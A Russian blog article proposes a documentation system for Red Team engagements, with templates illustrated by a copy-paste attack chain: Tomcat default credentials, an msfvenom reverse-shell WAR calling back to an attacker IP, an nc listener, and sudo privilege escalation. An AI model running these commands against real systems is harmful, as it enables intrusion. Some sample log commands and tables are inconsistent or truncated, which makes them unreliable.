

Система документирования Red Team операций: Как сэкономить сотни часов и не потерять контроль над атакой

 redsec.by/article/sistema-dokumentirovaniya-red-team-operacij-kak-sekonomit-sotni-chasov-i-ne-poteryat-kontrol-nad-atakoj

Red Teams | 29 января 2026



Хаос против Порядка

Представьте ситуацию. Пятница, вечер. Вы только что завершили изнурительную двухнедельную операцию. Домен захвачен, "корона" (DA) у вас в кармане, отчеты предварительно набросаны. Вы закрываете ноутбук, предвкушая выходные.

Но в понедельник утром раздается звонок от CISO клиента. Синяя команда (Blue Team) нашла странный артефакт на сервере в DMZ сегменте и утверждает, что это работа АРТ-группировки. Вам нужно подтвердить или опровергнуть, что это ваш файл, **прямо сейчас**. Вы открываете свои заметки... и видите хаос. Кучи текстовых файлов log.txt, log2.txt, final_final.req. Вы не помните, когда именно вы заливали шелл на 10.0.1.5 и меняли ли вы таймстемпы.

Знакомая боль?

Эффективная система документирования Red Team операций — это не бюрократия. Это ваше оружие. Это критическая инфраструктура, отличающая профессионала от скрипт-кидди.

В этой статье я раскрою архитектуру мини-системы документирования, которая гарантирует одно простое правило: **спустя 24 часа (или 24 дня) после завершения операции вы сможете воспроизвести компрометацию любой системы за 10–15 минут, опираясь исключительно на свои записи.**

Мы разберем всё: от структуры папок до конкретных шаблонов, которые вы можете скопировать и внедрить в свой рабочий процесс уже сегодня.

Часть 1. Философия воспроизводимости и когнитивная нагрузка

Прежде чем мы перейдем к командам и скриптам, важно понять *зачем* мы это делаем. Во время активной фазы операции (особенно если вы работаете в режиме *assumed breach* или ограничены по времени) когнитивная нагрузка на оператора колоссальна. Вам нужно держать в голове топологию сети, обнаруженные уязвимости, запущенные туннели и контекст безопасности.

Если ваша система заметок требует от вас усилий для поиска информации — она не работает.

Правило 15 минут

Система должна быть построена так, чтобы минимизировать время на вспоминание контекста. Если вы передаете проект коллеге, он не должен задавать вам вопросы. Он должен открыть папку цели и через 15 минут иметь root-шелл.

Стандартизация как автоматизация

Когда вы используете единый стандарт именования и структуры, ваш мозг перестает тратить ресурсы на решение задачи "куда сохранить этот скриншот". Это происходит на автомате, освобождая мыслительные ресурсы для эксплуатации уязвимостей.

Часть 2. Архитектура проекта: Ваш цифровой штаб

Правильная структура каталогов — это фундамент. Она должна быть интуитивно понятной и масштабируемой.

Мы предлагаем следующую иерархию, проверенную в боевых условиях:

```
/red-team-project/
├─ /notes/targets/      # Мозг операции
│  └─ /10.0.1.5/        # Индивидуальная папка хоста
│     └─ /10.0.2.12/
│        └─ /192.168.1.100/
├─ /loot/                # Сокровищница
│  └─ /credentials/     # Пароли и хэши
```

```

|   |— /tokens/                # Тикеты Kerberos, JWT
|   |— /database-dumps/       # Дампы данных
|— /screens/                  # Доказательная база
|   |— 20250129_172300_foothold_whoami.png
|   |— 20250129_174500_privesc_proof.png
|   |— 20250129_180200_domain_admin_token.png
|— /reports/                  # Выходные документы
|   |— final_report.md
|   |— /drafts/
|— /operator-logs/           # Черный ящик
   |— operation_log.csv

```

Разбор назначения директорий

- **/notes/targets/**: Это сердце вашей документации. Здесь мы отказываемся от единого файла notes.txt на весь проект. Каждая цель (IP или hostname) получает свою папку. Это позволяет изолировать контекст. Если вы атакуете 50 машин, у вас будет 50 папок.
- **/loot/**: Здесь хранятся "трофеи". Критически важно разделять информацию об уязвимостях (notes) и чувствительные данные (loot). Это упрощает очистку данных после проекта и контроль доступа.
- **/screens/**: Скриншоты сваливаются в одну кучу, НО благодаря строгой политике именования (о ней ниже) они мгновенно сортируются и находятся.
- **/operator-logs/**: Хронологический журнал действий. Это ваша страховка на случай юридических разборок или деконфликтинга с Blue Team.

Часть 3. Анатомия Целевой Карточки (Target Card)

Перейдем к самому интересному — содержимому папки

/notes/targets/<ip_or_name>/. Чтобы достичь правила 15 минут, каждая папка должна содержать ровно четыре документа. Ни больше, ни меньше.

3.1. Карта сервисов (Service Map) — service_map.md

Забудьте о `cat nmap.gnmap`. Сырой вывод сканера хорош для парсинга скриптами, но ужасен для человеческого восприятия спустя неделю. Карта сервисов — это отфильтрованный, осмысленный реестр.

Задача: Быстро окинуть взглядом периметр хоста и понять статус атаки по каждому вектору.

Пример реализации:

```
# Service Map: 192.168.1.50
```

```
## Enumeration Timestamp: 2025-01-29 17:23:00 UTC
```

```
**Tool:** nmap -sV -sC -p- -A 192.168.1.50 --script vuln
```

Port	Service	Version	Banner	Hypotheses
22	SSH	OpenSSH 7.4	OpenSSH_7.4	**CVE-2018-15473**
80	HTTP	Apache 2.4.6	Apache/2.4.6 (CentOS)	Default config, dir
139	SMB	Samba 4.6.2	Samba 4.6.2-12	EternalBlue possibl
445	SMB	Samba 4.6.2	(standard)	Lateral movement ve
3306	MySQL	5.7.26-0	MySQL Community Server 5.7.26	Public MySQL, weak
8080	HTTP	Tomcat 9.0.1	Apache Tomcat/9.0.1	Default console, we

Key Observations

- ****No firewall filtering**** detected; all ports accessible from external network
- ****HTTP Service**** running on both 80 and 8080 – likely parallel services
- ****SMB shares**** potentially accessible via null session – test `smbclient -L //192.
- ****SSH version 7.4**** is end-of-life; check for known CVEs

Next Steps (Priority Order)

1. [HTTP 80/8080] Enumerate web applications for default credentials or vulnerabilities
2. [SMB 445] Attempt null session authentication
3. [MySQL 3306] Test default credentials (root:password, root:root)
4. [SSH 22] If initial foothold achieved, test SSH key-based access

Почему это работает:

- **Колонка Hypotheses:** Вы не просто записываете факт наличия порта, вы сразу фиксируете мысли: "Что я могу здесь сделать?". Это сохраняет ход ваших рассуждений.
- **Колонка Status:** Иконки (⚠️, ✅, ⌚) позволяют за секунду понять, где вы уже были, а где еще "конь не валялся".

3.2. Журнал доказательств (Evidence Log) — evidence_log.md

Это черновик вашего финального отчета. Если вы будете вести его *в процессе*, написание итогового документа займет часы, а не дни. Здесь фиксируется **успех**.

Каждая запись должна быть самодостаточной и привязанной к техникам MITRE ATT&CK.

Пример профессиональной записи доказательства:

Evidence Log: 192.168.1.50

[PROOF #1] Web Application Foothold - Tomcat Default Credentials

Date/Time:** 2025-01-29 17:45:30 UTC

Technique:** MITRE T1078 (Valid Accounts)

Method:** HTTP POST to `/manager/html` with default credentials `admin:admin`

Status:** ✅ SUCCESSFUL

Command Executed:

```
curl -v -u admin:admin http://192.168.1.50:8080/manager/html
# HTTP/1.1 200 OK – authenticated successfully
```

Evidence Screenshot: ../../screens/20250129_174530_tomcat_auth.png

Evidence Output: ../../screens/20250129_174530_tomcat_auth_output.txt

Key Details:

- Username: admin | Password: admin (unchanged from installation)
- Tomcat Manager console accessible → WAR deployment capability
- Confirmed interactive access to http://192.168.1.50:8080/manager

Implications:

- RCE possible via WAR file upload to /manager/text/deploy endpoint
- Leads to shell with privileges of Tomcat user (tomcat UID=91)

Обратите внимание: мы не просто пишем "Я зашел как админ". Мы указываем точную команду `curl`, таймстамп, ссылку на скриншот и, что самое важное, ****Implications (Последствия)****. Это готовый абзац для раздела "Impact" в отчете для бизнеса.

3.3. Сценарий входа (Foothold Steps) — `foothold\_steps.md`

Это самая критическая часть для воспроизводимости. Это не рассказ, это ****алгоритм****. Представьте, что вы пишете скрипт для робота, только этот робот — другой человек (или вы сами через месяц).

Здесь нет места лирике. Только команды, готовые к Copy-Paste.

Foothold Steps: 192.168.1.50 (10–15 minutes total)

Prerequisites

- Attacker IP: `10.0.0.5`
- Target: `192.168.1.50:8080` (Tomcat Manager)
- Listener port: `4444`
- Tool requirements: `msfvenom`, `nc` (netcat)

Шаг 1: Verify Tomcat Access (1 minute)

Test authentication with default credentials:

```
curl -v -u admin:admin http://192.168.1.50:8080/manager/html
# Expected: HTTP/1.1 200 OK (not 401)
```

Шаг 2: Generate Reverse Shell Payload (2 minutes)

Create a WAR file containing JSP reverse shell:

```
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.0.0.5 LPORT=4444 \
  -f war -o shell.war
```

Шаг 3: Start Reverse Shell Listener (Parallel to Step 2)

Open a separate terminal:

```
nc -lvnp 4444
# Output: Listening on 0.0.0.0 4444
```

Шаг 4: Deploy WAR to Tomcat (1 minute)

```
curl -u admin:admin --upload-file shell.war \
  http://192.168.1.50:8080/manager/text/deploy?path=/shell&update=true
# Expected output: OK - Deployed application at context path /shell
```

Секрет успеха этого файла:

1. Ожидаемый результат: Под каждой командой написано, что вы должны увидеть. Это позволяет мгновенно понять, если что-то пошло не так.
2. Тайминг: Указание времени на шаг дисциплинирует. Если "Step 1" занимает у вас 20 минут вместо 1, значит, контекст изменился или вы делаете что-то не так.
3. Troubleshooting: В конце файла (см. исходные заметки) есть раздел "Что делать, если не работает". Это бесценно при дебаггинге.
- 3.4. Повышение привилегий (PrivEsc Steps) — `privesc\_steps.md`

Структура аналогична Foothold, но начинается с момента получения низкопривилегированного шелла.

```
# Privilege Escalation Steps: 192.168.1.50 (5–10 minutes total)
```

```
## Prerequisites
- Current user: `tomcat` (from successful foothold)
- Current shell: bash via reverse shell listener
- Target privilege: `root` (UID 0)
```

Шаг 1: Enumerate Sudo Permissions (1 minute)

Execute from the reverse shell:

```
sudo -l
```

Expected output:

User tomcat may run the following commands on centos7-web-server:
(root) NOPASSWD: /bin/bash

Шаг 2: Execute Privileged Bash Session (1 minute)

```
sudo /bin/bash  
# Should return a new prompt without password prompt
```

Этот файл четко показывает цепочку атаки: от `tomcat` до `root` через мисконфигурацию `sudo`.

Часть 4. Управление Лутом (Loot): Безопасность и Порядок

Когда вы находите пароли, ключи или базы данных, соблазн просто сохранить их в `notes.txt` велик. Не делайте этого. Лут требует особого обращения.

Шаблон записи учетных данных

В папке `/loot/credentials/` создавайте текстовые файлы по шаблону. Это не просто "логин:пароль", это метаданные.

Файл: `/loot/credentials/192.168.1.50\_tomcat\_admin\_admin.txt`

LOOT RECORD

Target: 192.168.1.50 (Tomcat Server)
Credential Type: Web Application Credentials
Service: Tomcat Manager Console
Date Obtained: 2025-01-29 17:45:30 UTC
Operator: Red Team Member #1

CREDENTIAL DETAILS

Username: admin
Password: admin
Privilege Level: Tomcat Manager (can deploy WAR files)
Authentication Method: HTTP Basic Auth
Service URL: http://192.168.1.50:8080/manager/html

CHAIN OF CUSTODY

1. Obtained by: Default installation (no modification)
2. Used by: Operator #1 at 2025-01-29 18:01:45 UTC
3. Leverage: WAR file deployment for RCE
4. Status: ACTIVE – credential still valid, recommend patching

SENSITIVITY

Classification: HIGH — Allows RCE on production service

Retention: Destroy after engagement + 30 days (or per contract)

Зачем это нужно?

- **Chain of Custody (Цепочка владения):** Если произойдет утечка данных, этот файл поможет доказать, кто, когда и как получил доступ к этим данным.
- **Уничтожение:** Поле Retention напоминает вам, когда нужно удалить данные, чтобы соблюсти условия контракта (NDA).

Для SSH ключей используется аналогичный подход, но с добавлением хэша ключа и прав доступа к файлу.

Часть 5. Визуальные доказательства: Имя файла говорит само за себя

Вы когда-нибудь открывали папку со скриншотами и видели screen1.png, screen2.png, proof.png? Это кошмар.

Используйте **хронологическое именование**:

YYYYMMDD_HHMMSS_<target>_<action>_<outcome>.<ext>

Примеры:

- 20250129_174530_192.168.1.50_tomcat_login_success.png
- 20250129_181520_192.168.1.50_root_shell_confirmation.png

Преимущества:

- **Автоматическая сортировка:** Файлы всегда выстроены в порядке выполнения атаки.
- **Поиск:** Команда `ls | grep "root"` покажет все доказательства получения рута.
- **Самодокументирование:** Вам не нужно открывать картинку, чтобы понять, что на ней изображено.

Часть 6. Журнал оператора: Всё записано

Файл `/operator-logs/operation_log.csv` — это ваша "черная коробка" самолета. Здесь фиксируется каждое значимое действие. Лучше всего вести его в CSV формате, который легко импортируется в Excel или SIEM системы.

```
Start,End,Source_IP,Dest_IP,Tool,Command,Result,Operator
2025-01-29T17:45:00Z,2025-01-29T17:45:30Z,10.0.0.5,192.168.1.50,curl,"curl -v -u admin:123456@192.168.1.50:22"
2025-01-29T18:01:00Z,2025-01-29T18:01:45Z,10.0.0.5,192.168.1.50,curl,"curl --upload-file /tmp/evil.exe 192.168.1.50:22"
```

Интеграция с VECTR и отчетами: Этот журнал становится бесценным при составлении таймлайнов атаки. Вы можете точно сказать: "В 18:01:45 мы загрузили вредоносный файл". Если Blue Team увидела алерт в 18:02:00 — отлично, детекция работает. Если алерт пришел в 19:00 — у них проблемы с задержкой логов.

Часть 7. Интеграция с современными инструментами (Obsidian)

Описанная структура файловой системы идеально ложится на современные инструменты управления знаниями (PKM), такие как Obsidian.

Если вы используете Obsidian, вы можете связывать файлы между собой. Например, в файле Target Card можно сделать ссылку на использованную технику MITRE:

Evidence

[[T1078]] (Valid Accounts) -> [[T1190]] (Exploit Public App) -> [[T1548]] (PrivEsc)

Это создает "граф атаки", по которому можно навигировать визуально. Это невероятно мощно для обучения новых сотрудников и анализа сложных цепочек атак (Attack Paths).

Время — деньги, а Документация — репутация

Внедрение этой системы требует дисциплины. Первые два дня вам будет казаться, что вы тратите больше времени на запись, чем на взлом. Но как только вы вернетесь к цели через неделю, вы почувствуете разницу.

Критерий качества вашей работы — это тест воспроизведения:

- Закройте все окна, кроме папки /notes/targets/.
- Отключите интернет (если возможно, работайте в изолированной лаборатории).
- Попробуйте получить доступ к цели, следуя только своим инструкциям foothold_steps.md.

Если вы уложились в 15 минут и ни разу не задумались "а какой там был пароль?" — поздравляю, вы достигли дзен-оператора Red Team.

Эта система экономит десятки часов на фазе отчетности и бесконечное количество нервных клеток при общении с клиентами. Начните применять её сегодня, и ваша "будущая версия" скажет вам спасибо.